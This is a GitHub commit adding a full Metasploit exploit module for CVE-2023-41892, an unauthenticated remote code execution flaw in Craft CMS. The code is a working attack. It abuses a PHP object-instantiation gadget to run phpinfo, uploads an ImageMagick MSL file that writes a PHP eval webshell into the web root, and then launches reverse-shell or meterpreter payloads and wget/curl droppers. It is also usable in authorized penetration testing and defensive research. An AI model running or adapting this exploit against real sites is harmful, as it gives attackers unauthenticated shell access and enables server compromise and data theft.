Skip to content

Commit

Permalink
first draft release of module
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die-gr3y committed Dec 10, 2023
1 parent 453c8d8 commit ff44932
Showing 1 changed file with 264 additions and 0 deletions.
264 changes: 264 additions & 0 deletions modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,264 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Craft CMS unauthenticated Remote Code Execution (RCE)',
'Description' => %q{
This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular
content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability
allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity
of the application.
The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class
which allows to run arbitary PHP code by escalating the object creation calling some methods available in
`\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which
stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that
facilitates the reading of images, performance of image processing tasks, and writing of results back
to the filesystem. This can be leveraged to create a dummy image containing mailcious PHP code using the
Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the
malicious PHP code and gaining access to the system.
Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain
access to the underlying operating system as the user that the web services are running as (typically www-data).
},
'Author' => [
'chybeta', # discovery
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module
],
'References' => [
[ 'CVE', '2023-41892' ],
[ 'URL', 'https://blog.calif.io/p/craftcms-rce' ],
[ 'URL', 'https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/' ],
[ 'URL', 'https://github.com/advisories/GHSA-4w8r-3xrw-v25g' ],
[ 'URL', 'https://attackerkb.com/topics/E486ui94II/cve-2023-41892' ],
],
'License' => MSF_LICENSE,
'Platform' => [ 'unix', 'linux', 'php' ],
'Privileged' => false,
'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'echo', 'bourne' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-09-13',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Craft CMS base url', '/' ]),
OptString.new('WEBSHELL', [
false, 'The name of the webshell with extension .php. Webshell name will be randomly generated if left unset.', ''
]),
OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])
]
)
end

def check_phpinfo
# checks vulnerability running phpinfo() and returns upload_tmp_dir and DOCUMENT_ROOT
@config = { 'upload_tmp_dir' => nil, 'document_root' => nil }

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'conditions/render',
'configObject[class]' => 'craft\elements\conditions\ElementCondition',
'config' => '{"name":"configObject","as ":{"class":"\\\GuzzleHttp\\\Psr7\\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}
})
if res && res.body
# parse HTML to find the upload directory and the document root provided by phpinfo command output
html = res.get_html_document
if @config['upload_tmp_dir'].nil? || @config['document_root'].nil?
tr_items = html.css('tr td')
tr_items.each_with_index do |item, i|
if item.text =~ /upload_tmp_dir/i
if tr_items[i + 1].text =~ /no value/i
@config['upload_tmp_dir'] = '/tmp'
else
@config['upload_tmp_dir'] = tr_items[i + 1].text.strip
end
end
@config['document_root'] = tr_items[i + 1].text.strip if item.text =~ /\$_SERVER\['DOCUMENT_ROOT'\]/i
end
end
print_status(@config.to_s)
end
end

def upload_webshell
# randomize file name if option WEBSHELL is not set
if datastore['WEBSHELL'].blank?
@webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
else
@webshell_name = datastore['WEBSHELL'].to_s
end

# select webshell depending on the target setting (PHP or others).
@post_param = Rex::Text.rand_text_alphanumeric(1..8)
@get_param = Rex::Text.rand_text_alphanumeric(1..8)

if target['Type'] == :php
# create the MSL payload
# payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"
payload = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php @eval(base64_decode($_POST[\'#{@post_param}\'])); ?&gt;" />
<write filename="info:#{@config['document_root']}/#{@webshell_name}" />
</image>
EOS
else
# create the MSL payload
# payload = "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>"
payload = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\'])); ?&gt;" />
<write filename="info:#{@config['document_root']}/#{@webshell_name}" />
</image>
EOS
end

# construct multipart form data with Imagick MSL payload
form_data = Rex::MIME::Message.new
form_data.add_part('conditions/render', nil, nil, 'form-data; name="action"')
form_data.add_part('craft\elements\conditions\ElementCondition', nil, nil, 'form-data; name="configObject[class]"')
form_data.add_part('{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}', nil, nil, 'form-data; name="config"')
form_data.add_part(payload, 'text/plain', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(4..8)}\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.msl\"")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
})
if res && res.code == 502
# code 502 indicates a successful upload of the MSL payload in upload_tmp_dir (default /tmp unless specified in php.ini)
# next step is to generate the webshell in DOCUMENT_ROOT by executing the Imagick MSL payload
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'conditions/render',
'configObject[class]' => 'craft\elements\conditions\ElementCondition',
'config' => "{\"name\":\"configObject\",\"as \":{\"class\":\"Imagick\", \"__construct()\":{\"files\":\"vid:msl:#{@config['upload_tmp_dir']}/php*\"}}}"
}
})
# code 502 indicates a successful generation of the webshell in DOCUMENT_ROOT
return true if res && res.code == 502
end
false
end

def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
@post_param => payload
}
})
end

def execute_command(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
php_cmd_function = datastore['COMMAND']
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
@get_param => php_cmd_function
},
'vars_post' => {
@post_param => payload
}
})
end

def check
check_phpinfo
return CheckCode::Appears unless @config['upload_tmp_dir'].nil? || @config['document_root'].nil?

CheckCode::Safe
end

def exploit
# check if upload_tmp_dir and document_root is already set from the check method otherwise try to get this info.
check_phpinfo unless datastore['AutoCheck']
fail_with(Failure::NotVulnerable, 'Could not get required phpinfo. System is likely patched.') if @config['upload_tmp_dir'].nil? || @config['document_root'].nil?
fail_with(Failure::UnexpectedReply, "Webshell #{@webshell_name} upload failed.") unless upload_webshell
register_files_for_cleanup(@webshell_name.to_s)

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :php
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 32768)
end
end
end

0 comments on commit ff44932

Please sign in to comment.